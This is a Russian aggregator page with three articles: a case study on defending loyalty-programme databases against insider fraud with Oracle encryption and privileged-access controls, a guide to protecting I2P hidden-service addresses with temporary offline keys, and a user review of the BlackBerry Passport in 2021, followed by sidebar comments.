На каких этапах обработки данных по программам возможны неправомерные действия

Разрабатывая комплексную защиту данных программы лояльности, в ТПК проводят анализ и систематизацию потенциальных точек мошенничества в своих информационных системах. Неправомерные изменения могут происходить со стороны клиента, приложений, работающих с системой процессинга, а также может осуществляться непосредственное воздействие на базы данных, являющихся ядром работы процессинговых систем.

Новые технологии на стороне клиента появляются постоянно, - объясняет Сергей Петраков, - К примеру, это мобильные приложения, виртуальные карты и другие инструменты, которые используются при покупке в качестве инструментов программы лояльности. С интеграцией каждого нового инструмента появляются новые уязвимости. Мошенники стремятся их обнаружить и создать механизмы, с помощью которых можно эти уязвимости использовать. Однако все эти способы мошенничества находятся на стороне клиента, за границей периметра наших систем, в которых хранятся данные. Поэтому мы можем бороться с потенциальными злоупотреблениями на стороне клиента только в определенных пределах. Используются для этого системы антифрода, специальных ограничений в правилах программы, обеспечивающих безопасность со стороны клиента. Это важно, но это не поможет, если мошенником окажется инсайдер, имеющий доступ к данным в базах на нашей стороне.

Инсайдеры это сотрудники, непосредственно работающие с данными. Это администраторы прикладных или операционных систем, администраторы баз данных. Они либо уже обладают достаточно широкими правами доступа, позволяющими вносить изменения в данные, либо могут пытаться расширить свои права. Привилегированный доступ дает администратору возможность проводить определенные операции вручную. Таким образом, мошенничество, даже если оно инициировано третьими лицами, осуществляется руками инсайдера.

Выработка принципиального решения

В ТПК пришли к выводу, что наиболее эффективным способом противостоять неправомерным действиям инсайдеров можно, ограничивая права привилегированных пользователей и лишая их возможности получить доступ к данным, в которые необходимо внести изменения, чтобы провести неправомерную операцию. Делать это удобнее всего непосредственно внутри баз данных, с помощью инструментов, контролирующих и ограничивающих действия привилегированных пользователей и делающих часть данных невидимыми.

Эти подходы позволяют решать проблемы безопасности данных наиболее кардинально. Не наделяя привилегированных пользователей достаточным объемом прав для внесения важных изменений и фиксируя каждое их действие для дальнейшего анализа, компания, осуществляющая процессинг карт, привязанных к какой-либо программе, создает сдерживающий фактор, препятствующий вмешательствам.

Выбор средств, ограничивающих действия инсайдеров

Выработав принципиальное решение, в ТПК приступили к формированию комплекса средств, необходимых для контроля доступа и действий администраторов.

Основой для комплексной защиты послужили два ключевых решения. Одно из них должно было обеспечить шифрование хранящихся в таблицах конфиденциальных данных пользователей, с возможностью защитить данные даже в случае исчезновения носителя или файла. К таким данным могут относиться, например, номера кредитных карт, персональные данные клиентов программ. Второе решение должно было внести четкие ограничения в права доступа для всех пользователей, в первую очередь, привилегированных.

Помимо ключевых составляющих в комплекс должны были войти и другие средства, например, для фиксирования всех операций. Такие средства расширяют функционал системы безопасности, не работая непосредственно с данными в базах.

Когда основной набор инструментов был определен, перед ТПК возникла необходимость выбора используемых средств. При этом использование преимущественно именно встроенных средств дает серьезные гарантии сохранения производительности и надежности работы самой базы данных в высоконагруженных процессинговых системах. Используя в качестве ядра процессинговой системы базу данных Oracle, в ТПК, в первую очередь, ориентировались на комплекс средств безопасности, имеющихся для данного продукта в виде встроенных опций, позволяющих ограничивать доступ к данным, разделять полномочия распределения доступов между администраторами и сотрудниками безопасности, решать задачи контроля действий привилегированных пользователей. Рассматривались также варианты средств сторонних вендоров, работающие с базами данных этого производителя и доступные на рынке.

Выбор между интегрированными средствами и внешними решениями

Одна из сложностей использования средств от сторонних разработчиков в том, что любые решения взаимодействуют с базой данных. Они обращаются к ней, к примеру, чтобы получить доступ к логам. В случае с внешними решениями возникает две проблемы. Первая связана с тем, что работа надстройки может негативно влиять на работу базы данных, в том числе, снижая производительность и вызывая сбои. Вторая проблема заключается в не вполне проработанной процедуре получения технической поддержки в случае возникновения сбоя.

Практический опыт подсказывал, что каждый вендор готов с полной ответственностью отвечать только за работу своих инструментов. В работе интегрированных средств Oracle также могут возникать сбои, однако процедура решения проблем в этом случае более прозрачна и понятна. В условиях, когда система, осуществляющая процессинг, непрерывно работает в режиме высокой нагрузки, отказоустойчивость и поддержание производительности на высоком уровне становятся ключевыми факторами. Любая неопределенность с процедурой получения поддержки вызывает сомнения в целесообразности применения решений от сторонних производителей и делает более предпочтительной работу с интегрированными средствами.

При небольшом объеме транзакций мы пользовались бы большей свободой действий и могли позволить себе тестировать различные решения, не особенно заботясь об отказоустойчивости и сохранении производительности, - комментирует Сергей Петраков, - Но поскольку для нас именно стабильность важнее всего, мы предпочли ориентироваться на те средства, которые максимально оптимизированы и сбалансированы для работы именно в той базе, которой мы пользуемся. Важнейшую роль в выборе сыграла возможность получить техническую поддержку, не останавливая работу.

Использование баз данных Oracle на практике уже само по себе представляет комплексную задачу. В решение входит программное обеспечение, созданное Oracle, и оборудование, предоставленное партнером. Добавлять к этому дополнительные решения от стороннего разработчика значит делать этот комплекс еще более сложным. Когда стоимость минуты простоя очень высока, служба поддержки должна быть не просто доступна. Она должна быть доступна через единую точку обращения в случае возникновения проблем с программной и аппаратной частью. Поддержка Oracle обеспечивает возможность единого доступа в случае возникновения проблем любого характера.

Еще один важный аспект возможность решить проблему, не останавливая обработку данных. Анализ причин сбоя требует моделирования ситуации, которая привела к возникновению ошибки. Сотрудник поддержки производителя может отследить или воссоздать ситуацию, не останавливая процессы. В случае возникновения проблемы по вине внешнего решения обработку данных придется останавливать, чтобы воссоздать условия, при которых возникла ошибка.

При необходимости обеспечить стопроцентную отказоустойчивость, угроза простоя оказывается более весомой для принятия решения, чем любые преимущества маркетингового характера, предложенные третьим производителем. С учетом этого в ТПК сделали выбор в пользу интегрированных решений Oracle.

Еще одним важным фактором, повлиявшим на решение, стала простота развертывания опций безопасности. Развертывание происходит в формате консультаций. Сотрудники вендора предоставляют полную документацию по своим решениям с указанием релевантных пунктов, на которые необходимо обратить особое внимание. При такой процедуре нет необходимости выделять для развертывания отдельную команду. Развертывание решения в таком формате происходило поэтапно и заняло несколько месяцев с учетом проведения полного цикла проверок на тестовых, предпродуктивных средах.

Какие интегрированные решения Oracle используют в ТПК

В качестве средства для шифрования данных клиентов программ лояльности в ТПК используют Oracle Advanced Security Transparent Data Encryption (TDE). Это решение обеспечивает возможность управления ключами шифрования и прозрачность шифрования конфиденциальных данных. В TDE задействован механизм шифрования на основе команд DDL. Он полностью исключает необходимость в изменении приложений и создании дополнительных программных средств для управления ключами шифрования, триггеров и представлений в базах данных. Шифрование дает возможность реализовать многоуровневую глубокую защиту. Данные защищены как при передаче, так и при хранении.

Для контроля и анализа доступа привилегированных пользователей в ТПК выбрали решение Oracle Database Vault. Это решение повышает безопасность существующих приложений и обеспечивает соответствие нормативным политикам, предписывающим разделение обязанностей и минимальные привилегии для пользователей любого уровня. Оба эти решения используют превентивный подход и профилактическую защиту данных приложений от доступа привилегированных пользователей, вне зависимости от того, санкционированные эти действия или неправомерные.

Наибольшую опасность представляет персонал с высоким уровнем доступа, - комментирует Сергей Петраков, - Принимая на работу администраторов, мы проводим многоступенчатые проверки. Однако, даже в этом случае, сотрудник, пользующийся расширенным доступом к данным, продолжает быть слабым звеном. Средства шифрования и ограничения доступа позволяют технологически лишить его возможности вносить изменения вручную. К примеру, мы можем закрыть часть данных таким образом, что пользователю они будут не видны. При необходимости внести изменения в весь объем данных необходимо ставить в известность службу безопасности и проходить двухуровневую идентификацию с помощью доступа администратора и с помощью доступа сотрудника безопасности. Таким образом, для внесения изменений необходимы согласованные действия, и этот принцип сам по себе позволяет уменьшить количество слабых звеньев.

Результаты

Использование средств Oracle и распределение ролей между командами безопасности и администраторами предоставило возможность ТПК не заниматься расследованием случаев несанкционированных изменений в тот момент, когда предполагаемое мошенничество уже произошло, а предотвращать саму возможность таких случаев. При этом, средства безопасности не являются надстройкой над базами данных Oracle и представляют собой неотъемлемую часть программного комплекса. Эта особенность дает возможность сохранить максимальную отказоустойчивость и исключить простои при возникновении проблем.

Подробнее..

Безопасное хранение ключей от сервиса в I2P

17.05.2021 10:05:59 | Автор: admin

Сталкиваясь с потребностью в скрытом сервисе I2P, большинство вынуждено пользоваться услугами хостинг-провайдеров. Например, потому что нет возможности обеспечить хороший аптайм ресурса на домашнем компьютере. Использование услуг дата-центра подразумевает доверие: мы надеемся, что персонал не будет злоупотреблять своим положением и кто-то не попытается украсть данные с дисков.

Увы, одной уверенности в серьезном проекте мало, потому что никогда нельзя исключить даже банальный взлом системы извне. Абсолютной безопасности не бывает, однако после любого инцидента вы наверняка хотите восстановиться максимально быстро. Этот мануал расскажет, как использовать временные ключи, чтобы адрес вашего скрытого ресурса не могли украсть даже в случае компрометации сервера.

Образование внутрисетевого адреса I2P

Создавая серверный туннель, который выводит локальный сервис в скрытую сеть, необходимо указать файл с ключами (если указывается несуществующий создается новый файл со случайными ключами).

Файл с ключами содержит криптографические идентификаторы. Всего 391 байт публичной информации и секретные ключи, которые не публикуются. Хеш от блока публичной информации, содержащейся в файле с ключами, образует внутрисетевой адрес.

К полному адресу (391 байт публичной информации) осуществляется привязка как длинных адресов .b32.i2p, так и коротких доменных имен в зоне .i2p, поэтому заданный файл с ключами является критически важным: потеряв его, мы теряем и контроль над адресом. Если злоумышленник развернет с нашим ключом другой серверный туннель, работа изначального скрытого сервиса будет в лучшем случае нарушена, а в худшем злоумышленник сможет выдавать свой ресурс за оригинальный для части пользователей, чей роутер найдет его лизсет первым.

Лизсеты

Серверные конечные точки, то есть скрытые сервисы сети I2P, публикуют информацию о себе на флудфилах, чтобы другие участники сети могли найти их. Эта информация называется лизсетом и включает в себя полный набор криптографических идентификаторов полный адрес (391 байт), а также информацию о входящих туннелях. Поиск лизсета происходит по доменному имени, образованному от ключей. Если флудфил располагает нужным лизсетом, клиент получает информацию для связи с конечной точкой.

Безопасное хранение ключей

I2P имеет концепцию оффлайн-ключей (offline keys), которая позволяет хранить постоянные ключи в надежном месте. Другими словами, основной ключ хранится в безопасном месте, а на сервере используется временный, срок действия которого истекает через заданное количество дней. В случае его компрометации, спустя заданный срок действия, вы с полной уверенностью можете утверждать, что ваш сетевой адрес снова принадлежит только вам.

Данная возможность реализуется ключом подписи. Основной публичный ключ входит в массив полного адреса и непосредственно участвует в образовании внутрисетевого домена. При использовании функции оффлайн-ключей создается временный ключ подписи, который подписывается основным ключом. В публикуемом лизсете серверной конечной точки, использующей временный ключ, присутствует специальный флаг. Пользователь, получивший такой лизсет, проверяет основным ключом подписи конечной точки достоверность временного ключа, который также приложен к лизсету. Если подпись в норме, устанавливается стандартная сессия, в рамках которой временному ключу оказывается такое же доверие, как и основному, входящему в полный адрес конечной точки.

Инструмент для создания временных ключей присутствует в наборе i2pd-tools. Утилита называется offlinekeys и имеет следующий порядок принимаемых параметров: <output file> <keys file> <signature type> <days>. Последние два параметра можно опустить, указав только выходной файл и существующие ключи.

Без явного указания типа подписи, по умолчанию используется ED25519-SHA512 (кодовое обозначение 7), а срок годности равен 365 дням, то есть году. Тип подписи можно указать как в кодовом варианте, так и словом.

После того, как файл с временными ключами создан, его можно выгрузить на сервер и использовать в привычном виде. Главное не забыть обновить ключи вовремя. Также можно написать скрипт, автоматизирующий процесс обновления ключей на удаленном сервере.

Оригинальная статья опубликована в блоге дата-центра ITSOFT.

Подробнее..

Почему я до сих пор пользуюсь BlackBerry Passport в 2021

29.05.2021 12:13:17 | Автор: admin

Добрый день. В своих прошлых публикациях я неоднократно упоминал о том, что моим основным телефоном на сегодняшний день является модель Passport от канадского производителя BlackBerry. Если вы не знаете, что это за компания и что это у них за система такая ознакомьтесь с моими прошлыми статьями. Ну, а сегодня я расскажу вам об этом девайсе, а также поделюсь краткой заметкой о своем опыте использования данного девайса в 2021 году.

Дизайн и качество сборки

Это первое, на что ты обращаешь внимание в данном смартфоне. Из всех трех вариаций меня больше всего привлекает версия, выполненная в красном цвете (лично я обладаю Passport в белой расцветке). Однако ее очень трудно достать. Поэтому имеем то, что имеем Тем не менее, внешний вид очень необычный, особенно по меркам современного смартфоностроения. В большей степени выделяются квадратный экран и физическая клавиатура. Последняя даже в сравнении с другими телефонами от BlackBerry имеет непривычный форм-фактор. В основании корпуса находится металлическая рамка из нержавеющей стали. Благодаря ей в руках телефон ощущается цельным и крепким. При этом Passport довольно увесистый (196 грамм). Стоит также помнить, что данный телефон не предназначен для пользования одной рукой. В таком случае телефон с лёгкостью может выпасть. Гораздо удобнее, если вы задействуйте обе конечности. На это в значительной степени повлияли нестандартные габариты устройства.

Снизу, к слову, располагаются разъём Micro-USB и два стереодинамика.

Сзади находится модуль камеры. Слава богу, нет надписи о количестве мегапикселей. Лично меня эта деталь в Silver Edition подбешивает. В вверху расположена крышечка, открыв которую получаем доступ к сим-карте и карте памяти. В самом центре красуется логотип компании. Так как у меня белая версия, то задняя крышка из софт touch пластика иногда собирает на себе еле заметную грязь. Однако тут с легкостью выручает спирт.

Сверху расположен 3,5 мм разъем для наушников и кнопка включения.

На правой грани находятся кнопки увеличения/уменьшения громкости и между ними приютилась кнопка голосового ассистента. Если говорить про клавиши в целом (не клавиатура), то прожимаются они очень хорошо (с небольшим усилием) и дискомфорта не доставляют. Случайные нажатия практически исключены. Если подытожить в плане дизайна, то устройство ощущается премиальным, цельным. В нем отсутствуют лишние детали. Очень многие люди из моего окружения сильно восхищаются его внешним видом и харизмой. Красивый, строгий, необычный, премиальныйвсе это про дизайн Passport.

А вот с качеством сборки все неоднозначно. У BlackBerry данный параметр всегда был на высоте. Всё-таки заводы находятся не в каком-нибудь там Китае, а в Мексике. Но вот конкретно с этой моделью всё интереснее. На сайте Blackberrys есть целая ветка, посвященная заводским дефектам Passport. У меня, к счастью, никаких из указанных там проблем нет. Корпус собран хорошо. Ощущается, что материалы использовались качественные. А вот в роли ложки дёгтя выступает задняя крышечка. Спустя какое-то время она начала люфтить и немного отходить от корпуса. В данном случае мне помог чехол, который ставит её на место. Ну, а в остальном всё отлично.

Экран

Quadratisch, praktisch, gut. Именно так можно описать экран Passport. Его диагональ всего лишь 4,5 дюйма, хотя по началу этого не скажешь. Разрешение при этом составляет 14401440. Экрану свойственна высокая плотность пикселей (453 ppi). В телефон при этом установили LCD матрицу. По бокам имеются небольшие скругления. Если говорить коротко то экран добротный. Цвета передаются правильно и их охват очень широкий (в этом плане нареканий нет), яркости хватает для использования в любых условиях. В настройках можно изменить насыщенность и цветовой тон. На счёт устойчивости к царапинам и падениям ничего сказать не могу. Сразу после покупки я наклеил защитное стекло (за устойчивость к внешним воздействиям отвечает Gorilla Glass 3). Минусом является форм-фактор экрана, если мы говорим о потреблении контента. Например, стандартное видео 16 на 9 смотрится не очень и занимает лишь малую часть экрана. А некоторые фотографии в том же ВК просто не влезают. Но есть и плюсы. Читать при таком экране очень комфортно, как и смотреть старые фильмы, клипы, а также таблицы и презентации. Игры или приложения, которые вы скачивайте из магазина BB World оптимизированы под квадратное отображение и выглядят добротно. При этом системные приложения поголовно полностью адаптированы под нестандартную диагональ устройства. Спустя какое-то время я привык к такому экрану. И теперь на обычные лопаты смотреть не могу. Они мне кажутся узкими, что ли

Аппаратное оснащение

В этом плане у Passport всё довольно не плохо (по крайней мере для 2014 года). В роли процессора выступает четырёхядерный Qualcomm Snapdragon 801 с частотой 2,2 Ггц. А графикой занимается Adreno 330.

Данные характеристики в полной мере раскрывают быстродействие системы OS 10. Passport намного быстрее и шустрее всех своих коллег. Приложения запускаются очень быстро. Особенно это заметно, если сравнивать, например, с Z10 или даже с Z30. Все те немногочисленные игры, которые есть в родном магазине, на Passport работают хорошо. Такое железо позволяет и Android приложениям работать более стабильно. Понятное дело, что в бенчмарках смартфон звезд с неба не хватал, но в контексте своей системы он работает безоговорочно хорошо.

Но в этом плане у устройства есть один существенный недостаток. Всё дело в том, что охлаждение является пассивным, и осуществляется оно благодаря теплоотводу в ту самую металлическую раму. Но при этом, если долго сидеть в браузере, например, то устройство ощутимо нагревается (именно с боку). Хотя производитель поставил 801 Snapdragon с индексами AA. То есть, процессор практически стоковый и его толком не разгоняли. Но такая неприятная черта всё же присутствует. Справедливости ради стоит сказать, что нагрев может быть обусловлен также чрезмерным использованием требовательных Android приложений.

Встроенной памяти у устройства 32 GB. Этот размер можно расширить благодаря micro SD карточке. Объём оперативной памяти 3 GB. Может, такой цифры было бы недостаточно для условного Android, но этого вполне хватает для OS 10.

Кратко пройдусь по остальным моментам. Passport поддерживает сети 4G. При этом антенна, установленная в аппарате, очень качественная. Ловит даже в условном лифте. Присутствует Wi-Fi, Bluetooth 4-ой версии, GPS, NFC. Многие могли заметить, что, в отличие от Z10, например, отсутствует разъём HDMI. Однако в Passport Micro-USB имеет поддержку данной функции. Благодаря специальному адаптеру можно спокойно подключить телефон к телевизору или монитору. В смартфоне присутствует стандартный набор датчиков: освещенность, приближение, гироскоп. В правом верхнем углу расположен LED индикатор, который еще с бородатых времен устанавливается в устройства от канадской компании. Если коротко, то он светится разными цветами в зависимости от ситуации. Если вы используете автозагрузчик то цвет зелёный, если заряд батареи меньше 10 процентов оранжевый. Но лучше всего LED подходит для отслеживания уведомлений. Под каждое приложение или контакт можно настроить свой цвет. Например, при получении сообщения в Телеграмм лампочка мигает синим, в WhatsApp зеленым, при пропущенном звонке или смс красным и т.д. Это очень удобно, особенно если телефон у вас все время находится в беззвучном режиме, как у меня.

Звук. Динамики, микрофон

Ещё одна визитная карточка Passport. Как писалось выше, в устройство запихнули 2 стереодинамика. Если говорить про качество звука, то оно крайне достойное. Звук достаточно громкий, чистый. Однако, по ощущениям, ему не хватает немного глубины. Поэтому звучание кажется немного плоским (по сравнению с Z30). P.S. Как мне кажется, веб версия YouTube по непонятным причинам занижает громкость. Музыка в других приложения играет громче. Если у кого-то есть Passport, отпишитесь по этому поводу.

Телефон имеет аж 4 микрофона. По качеству записи и звука во время разговора они зачастую обходят даже современные флагманы. Этому во многом способствует технология BlackBerry Natural Sound. Если коротко, то это продвинутая программная и аппаратная акустическая обработка. Многие люди, с которыми я разговаривал даже по громкой связи, удивлялись качеству звука. Кстати, для записи голоса рекомендую использовать программу из родного магазина приложений Parrot. Она в полной мере раскрывает потенциал микрофонов. Ну, а для музыки есть встроенное приложение, в котором предусмотрен хоть и простенький, но эквалайзер.

Камера

Наверно один из самых неоднозначных параметров данного смартфона. Если говорить о характеристиках, то тут ничего необычного. Основной модуль на 13 МП, f=2.0, присутствуют вспышка, автофокус (который очень часто неадекватно работает) и оптическая стабилизация. Но словах звучит все красиво, а вот на деле

Ну, начнем хотя бы с той самой оптической стабилизации. Она средненькая, не более (в том же iPhone 6 plus получше будет). Но ведь можно включить ещё и цифровую! И вот тут появляется тот самый Rolling Shutter. Картинка на видео начинает плыть, как желе. Причём, это происходит только в режиме 30 фпс. Если у кого есть Passport отпишитесь. Просто интересно, это у всех так? А вот во время съемки в 60 фпс всё отлично. К тому же, запись звука, как я писал выше, на очень достойном уровне. Можно снимать видео в 4 режимах: 1080p и 30/60 фпс, 720p и 30/60 фпс.

С фото возможностями аппарата дела обстоят лучше. В условиях дневной освещенности снимки получаются очень неплохие. А вот в помещении детализация очень стремительно падает. В качестве достоинства можно отметить наличие функционального фото и видео редактора.

Рекомендую для фото или видео съемки использовать приложение Camera ++. Этот софт позволяет изменять ISO, режим съемки, фокусировки и т.д. Очень глубокая по своей сути программа. Придётся повозиться некоторое время, чтобы разобраться со всеми возможностями.

Камера по итогу средняя. Есть как значимые преимущества, так и недостатки. Но любителям фотографировать я бы всё-таки порекомендовал что-нибудь другое. Лично для моих задач (пару фото в дневное время суток) такой камеры достаточно. Но пользуюсь я сторонним софтом, так как встроенное приложение откровенно слабое.

Аккумулятор

Конкретно у Passport тут всё отлично. Канадцы не поскупились и вставили в телефон батарею емкость 3450 Мач. На своём опыте могу сказать, что при среднем использовании смартфона хватает на 1,5 дня; при активном на день. Это очень хороший показатель по современным меркам. К слову, полностью заряжается аппарат в течение 2,5 3 часов, а также он невероятно капризный в плане неоригинальных зарядных устройств. И это хоть и несущественные, но всё же недостатки. Однако тут уже ничего не поделаешь. Старый Micro USB разъем дает о себе знать и не позволяет быстро заряжать устройство.

Клавиатура

Ещё одна визитная карточка компании. Но с Passport BB пошли дальше и сделали её нестандартного форм-фактора. Клавиши расположены в 3 ряда, а дополнительные символы вынесены на экран. По удобству, клавиатура, конечно, не сравнится с эталонным Bold, но тем не менее, она вполне себе достойная. Клавиши прожимаются хорошо, ничего не люфтит. Несомненным плюсом является то, что клавиатура в Passport выступает в роли тачпада. Проводя пальцем по клавиатуре в влево, например, перелистываются рабочие столы и т.д. Это очень удобно, особенно при чтении в том же браузере. По идее, если это физическая клавиатура, то тут должно быть место слепому набору. И это бы работало с условным Q10. Но у Passport все не так просто. Из-за дополнительных символов иногда приходится подглядывать. Тем не менее, меня, как фаната QWERTY данное решение вполне устраивает. Из приятных бонусов можно выделить наличие всевозможных Shortcuts, а также подстветку.

Операционная система. Приложения

Наверно, самый интересный раздел. Начну, пожалуй, с самой ОС.

Дизайн у неё приятный. Нет ничего лишнего. Иконки приложений не слишком строгие, но и не броские. Системный шрифт не режет глаза. Во всей OS чувствуется единый стиль. Ему следует даже большинство родных приложений. Лично мне он намного больше нравится, чем тот же Android или ios.

В плане многозадачности система тоже преподнесла сюрпризы. Запущенные приложения отображаются в виде плиток на одной из страниц рабочего стола. По моему мнению, это намного более удобно, чем то, что могут предложить системы от конкурентов. При этом некоторые из плиток могут выполнять роль виджетов.

В плане кастомизации всё на уровне ios. На рабочем столе можно создавать папки, менять обои, расположение иконок на главном экране. Но на большее рассчитывать не стоит. Лично для меня это не является проблемой. В OS 10 всё сделано так, что ты ничего не хочешь менять. Теперь давайте про функционал и работу системы

OS 10 работает крайне стабильно и плавно. Никаких багов и зависаний не наблюдается, за редким исключением. Переход между приложениями быстрый, и открываются они сами по себе довольно шустро. OS 10 очень отказоустойчивая система. Оно и неудивительно! Ведь в её основе лежит ядро QNX. Оно в свою очередь применяется в автомобильной промышленности, военной и медицинской технике. Понятное дело, что с точки зрения плавности анимаций OS 10 отстаёт от iOS. Зато в плане функционала она расположилась между Android и системой от Apple.

BlackBerry Hub. Это действительно годная вещь. Сам активно ей пользуюсь. Если говорить коротко, то это приложение (оно всегда запущено, войти в hub можно, если листать рабочие столы влево до упора) собирает в одном месте все уведомления. Звонки, смс, календарь, мессенжеры, электронная почта, браузер и т.д. При этом всё это дело хорошо структурировано и можно отсортировать условные письма самому. И вы не представляете, насколько это полезная вещь! По своему опыту могу сказать, что многие почтовые клиенты проблематично настроить из-за отсутствия поддержки. Придётся немного повозиться. Но зато аналогов BB Hub на рынке не наблюдается. Даже уведомления из Android приложений в некотором виде присутствуют.

Жесты и свайпы. Ещё в далёком 2013 году OS 10 была полностью на них построена. А сейчас всякие Apple преподносят это как очередной Revolution. Жесты в OS 10 разнообразные. Их много. И это несомненный плюс. Благодаря жестам и свайпам открывается боковое меню большинства приложений или верхняя шторка. Даже на уровне самой системы это реализовано. Такой глубокой интеграции жестов в систему я не видел ни одного из конкурентов.

Пару слов про браузер. Казалось бы, BlackBerry с последним обновлением 10.3.3 обновили библиотеки и сертификаты. Но родной браузер доставляет очень много хлопот. Некоторые сайты ставят его в ступор. Если долго сидеть в интернете, то устройство ощутимо нагревается, увеличивается расход батареи. Некоторые сайты отображаются уже некорректно. Можно было бы использовать альтернативу, вроде Zeus или QBrowser, но по своему опыту скажу, что они немногим лучше, так как работают на той же версии WebKit.

Файловая система реализована намного лучше, чем в той же iOS. Можно копировать, вставлять, удалять файлы, распределять по папкам, добавлять облачные хранилища. Распределение файлов логичное и понятное. С компьютера фото и видео можно перекинуть при помощи BB Link или другой аналогичной утилиты. Поддерживается подключение внешних накопителей, например USB флешек.

По поводу приложений. В родном магазине их действительно мало. Очень мало! Речь тут идёт о глобальных программах. Но если вам нужна утилита для решения локальной задачи на устройстве, то в World могут найтись достойные варианты. Спасением может стать эмулятор Android. Однако он тут версии 4.3. Казалось бы, установить что либо практически невозможно. Но это не совсем так. Поддерживаются самые последние версии WhatsApp и Telegram. Я также смог установить ВК клиент Kate Mobile (с адаптацией от Xcrazys). И, на этом всё Лично мне этого апк набора вполне хватает. В плане приложений я не капризный, поэтому, возможно, до сих и сижу на OS 10.

Для установки Android программ предустановлен Amazon App Store. Полноценной заменой Google Play он не является, но может существенно помочь с поиском нужных приложений. Из родных программ, на основании своего опыта, я рекомендую следующие: NinjaApp (информация о других приложениях), Math Plotter (построение графиков), CrackBerry, Reddit in Motin (клиент Reddit), Blue Toch Pad, Parrot (диктофон), BB Virtual Expert (диагностика устройства), Camera ++, ScanWritr Pro, Reader 10 pro (читалка). Некоторые bar файлы отсутствуют в магазине приложений, но их спокойно можно перекинуть при помощи ПК, если вы, конечно, найдете ссылку для скачивания. Например, RetorArch или PPSSPP. Из игр могу выделить следующие: Asphalt 8, Minion Rush, Kiwi Wonder, Tunnel X, Angry Birds SW (нет в World), BSoD. Это только то, во что мне удалось поиграть.

Безопасность. Еще одно неоспоримое преимущество OS 10. Она является одной из самых, если не самой защищенной мобильной операционкой на рынке. Понятное дело, что простому пользователю скрывать нечего. Однако тот факт, что твои данные не отправляются хрен пойми куда, греет душу. Также, в случае потери устройства, я не буду волноваться о том, что кто-то получит доступ к моим файлам. Ведь способы по обходу пароля на OS 10 так и не обнаружили (не путать с Protect). Да и саму OS до сих пор не взломали. Нет ни одной кастомной прошивки или аналога Джейлбрейк. Да, есть очевидные дыры вроде BB Protect или отсутствия двухфакторной аутентификации. Однако даже с учетом этих факторов никто не сможет просмотреть мои данные. Сбросить устройство и пользоваться им да! Но моя личная информация останется в сохранности. Это я считаю значимым достоинством.

Заключение

Давайте подведём итог. Несмотря на все недостатки, я продолжаю пользоваться BB Passport в 2021 году. Ниже в виде тезисов вы увидите основные причины, по которым я все еще использую данный девайс.

1) Дизайн и качество сборки

2) Хорошие динамики и отличнейшие микрофоны

3) Достойный экран

4) Безопасность

5) Структура OS, скорость её работы и дизайн

6) BlackBerry Hub

7) Клавиатура

8) LED индикатор

9) Хороший аккумулятор

Всем спасибо за прочтение данной статьи!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru